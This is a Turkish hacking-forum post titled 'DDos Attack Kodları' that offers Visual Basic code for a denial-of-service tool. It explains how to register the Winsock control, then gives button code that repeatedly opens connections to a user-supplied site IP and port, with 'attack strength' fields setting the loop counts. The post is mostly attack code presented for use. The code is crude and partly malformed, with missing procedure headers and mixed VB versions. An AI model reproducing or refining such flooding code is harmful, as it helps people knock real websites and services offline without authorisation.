THT DUYURU

Visual Basic Öğrenilmesi ve kullanışı kolay olan Visual Basic’in dökümanlarının ve open source projelerin paylaşım alanı.

chat
Seçenekler

DDos Attack Kodları

Asosyal TR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2018
Mesajlar:
3
Konular:
3
Teşekkür (Etti):
3
Teşekkür (Aldı):
3
Ticaret:
(0) %
03-06-2018 17:13
#1
DDos Attack Kodları
Lazım Olanlar: 4textbox,3 Button,1winsock.

Textbox1-Site ip
Textbox2-Saldırı Kuvveti
Textbox3-Saldırı Gücü
Textbox4-Site sunucu portu (normal:80)
###########Winsock Nasıl Ekleriz?#############
google pc nize uygun olan(64,32 bit --Windows 7 falan) mswinsck.ocx diye aratın ve indirin. Örnek: windows 7 64 bit mswinsck.ocx,yazın bulup indirin.
İndirdiğimiz dosyayı c:\windows\system e atın.
Sonra başlat>cmd yönetici olarak çalıştırıp:
regsvr32 c:\windows\system\mswinsck.ocx yazıp enterleyin.
_
Daha sonra visual basic gelip toolbox dan boş yere sağ tıklayıp "choose items" e tıklayın,COM C.... falan diyor ona tıkalyın ordanda http://i.hizliresim.com/pRdYma.jpg resimdekini seçip tamam a tıklayın.

Kod:
Imports System.Net
Imports System.IO
__________________
Button1
MsgBox("Saldırı Başlatıldı")
Dim Wiederholen
Dim Anfragen
On Error Resume Next
For Wiederholen = 0 To FlatTextBox3.Text - 1
For Anfragen = 0 To FlatTextBox2.Text - 1
AxWinsock1.Close()
AxWinsock1.Connect(FlatTextBox1.Text, FlatTextBox4.Text)
Next
Next
End Sub
___________

_____________
Button2
On Error Resume Next
MsgBox("Durdurmakmı İstiyorsunuz ? ", vbYesNo, "DDOS Durdur ! ")
Form1.Show()
Me.Hide()
__________
Button3
Form1.Show()
Me.Hide()
--------------------- ALLAH'ıma Şükürler Olsunki Beni Türk Evladı Olarak Doğurdu. Ve Nasip Ederse İnşallah Vatanıma Güzel Bi Hizmette Bulunduktan Sonra Şerefimle Ölmeyi Nasip Eyler İnşallah.
ysnincehacking, NeodRa Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler